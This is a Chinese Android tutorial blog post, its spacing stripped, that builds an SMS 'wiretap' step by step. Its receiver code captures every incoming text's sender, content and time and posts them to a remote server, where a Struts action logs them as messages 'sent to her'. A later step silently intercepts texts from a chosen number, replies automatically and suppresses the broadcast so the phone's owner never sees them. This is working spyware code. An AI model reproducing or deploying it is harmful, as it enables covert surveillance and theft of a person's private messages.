1、修改frombean:VideoForm中增加短信时间、内容和发送者属性。

2VideoManageAction中增加方法getSMS()来获取窃听器发送的短消息。

publicActionForwardgetSMS(ActionMappingmapping,ActionFormform,

HttpServletRequestrequest,HttpServletResponseresponse)

throwsException{

VideoFormformbean=(VideoForm)form;

System.out.println("发送时间:"+formbean.getTime());

System.out.println("谁给她发的短信:"+formbean.getSender());

System.out.println("内容:"+formbean.getContent());

returnmapping.findForward("result");

}

客户端SMS_Listener

1、清单文件中订阅广播

<receiverandroid:name=".MySMSListener">

<intent-filter>

<actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>

</intent-filter>

</receiver>

添加短信接收权限,访问网络权限

<uses-permissionandroid:name="android.permission.INTERNET"/>

<uses-permissionandroid:name="android.permission.RECEIVE_SMS"/>

2、客户端MySMSListener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印

importjava.text.SimpleDateFormat;

importjava.util.Date;

importjava.util.HashMap;

importjava.util.Map;

importcn.class3g.utils.SocketHttpRequester;

publicclassMySMSListenerextendsBroadcastReceiver{

publicvoidonReceive(Contextcontext,Intentintent){

Object[]pdus=(Object[])intent.getExtras().get("pdus");

if(pdus!=null&&pdus.length>0){

SmsMessage[]messages=newSmsMessage[pdus.length];

for(inti=0;i<messages.length;i++){

byte[]pdu=(byte[])pdus[i];

messages[i]=SmsMessage.createFromPdu(pdu);

}

for(SmsMessagemsg:messages){

Stringcontent=msg.getMessageBody();

Stringsender=msg.getOriginatingAddress();

Datedate=newDate(msg.getTimestampMillis());

SimpleDateFormatsdf=newSimpleDateFormat(

"yyyy-MM-ddHH:mm:ss");

StringsendTime=sdf.format(date);

Map<String,String>param=newHashMap<String,String>();

param.put("method","getSMS");

param.put("sender",sender);

param.put("content",content);

param.put("time",sendTime);

Stringpath=

"http://192.168.1.100:8080/videoweb/video/manage.do";

try{

SocketHttpRequester.post(path,param,"UTF-8");

}catch(Exceptione){

Log.e("TAG",e.toString());

}

}

}

}

}

SmsMessage

publicstaticSmsMessagecreateFromPdu(byte[]pdu)

从原始的PDUprotocoldescriptionunits)创建一个SmsMessage。这个方法很重要,在我们编写短信接收程序要用到,它从我们接收到的广播意图中获取的字节创建SmsMessage

publicStringgetOriginatingAddress()
String返回SMS信息的来电地址,或不可用时为null

publicStringgetMessageBody()
以一个String返回消息的主体,如果它存在且是基于文本的。

短信管理器:SmsManager

1).Android2.0以前应该使用android.telephony.gsm.SmsManager

之后应该用android.telephony.SmsManager;

2).获取系统默认的短信管理器

SmsManagersmsManager=SmsManager.getDefault();

3).按照每条短信最大字数来拆分短信

List<String>divideContents=smsManager.divideMessage(content);

4).发送短信

smsManager.sendTextMessage(destinationAddress,scAddress,text,sentIntent,deliveryIntent)

--destinationAddress:目标电话号码

--scAddress:短信中心号码,测试可以不填

--text:短信内容

--sentIntent:发送-->中国移动-->中国移动发送失败-->返回发送成功或失败信号-->后续处理即,这个意图包装了短信发送状态的信息

--deliveryIntent发送-->中国移动-->中国移动发送成功-->返回对方是否收到这个信息-->后续处理即:这个意图包装了短信是否被对方收到的状态信息(供应商已经发送成功,但是对方没有收到)。

5).声明短信发送权限

*AndroidManifest.xml

<uses-permissionandroid:name="android.permission.SEND_SMS"/>

3、进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复

添加短信发送权限:

<uses-permissionandroid:name="android.permission.SEND_SMS"/>

MySMSListener的onReceive中添加代码如下

StringsendContent=sdf.format(date)+":"+sender+"--"

+content;

Log.i("TAG",sendContent);

if(sender!=null&&sender.endsWith("5556")){//5556".equals(sender)){

SmsManagersmsManager=SmsManager.getDefault();

smsManager.sendTextMessage("5556",null,"gameover",null,null);

this.abortBroadcast();//终止广播

}

测试:

启动另一个模拟器,向部署客户端的模拟器发送短信,查看服务器端后台输出,并且观察客户端运行模拟器是否有短信接收。


更多相关文章

  1. Nginx系列教程(二)| 一文带你读懂Nginx的正向与反向代理
  2. RHEL 6 下 DHCP+TFTP+FTP+PXE+Kickstart 实现无人值守安装
  3. android中电话拨号器,短信发送器
  4. Android学习笔记(四) 之模拟发短信
  5. Android(安卓)进程间通信-Intent、Messenger、AIDL
  6. 【免费的短信推送API】【MobTech】【Android】手机短信验证码推
  7. android客户端连接人人网之二----获取朋友信息
  8. 【Android(安卓)开发教程】获取发送短信后的反馈
  9. Android手机客户端通过JSP实现与Tomcat服务器端通信(Msql数据库,Js

随机推荐

  1. Android(安卓)UI学习 - 对话框
  2. Android启动过程深入解析
  3. Android(安卓)Intent 深入理解
  4. Android中RelativeLayout各个属性
  5. android 属性汇总
  6. Android(安卓)JNI和NDK学习(01)--搭建NDK
  7. 我所理解的Android模块化(一)——模块化概
  8. Android(安卓)touch事件一种解释
  9. Android(安卓)UI开发第九篇――SlidingDr
  10. Android中Java与web通信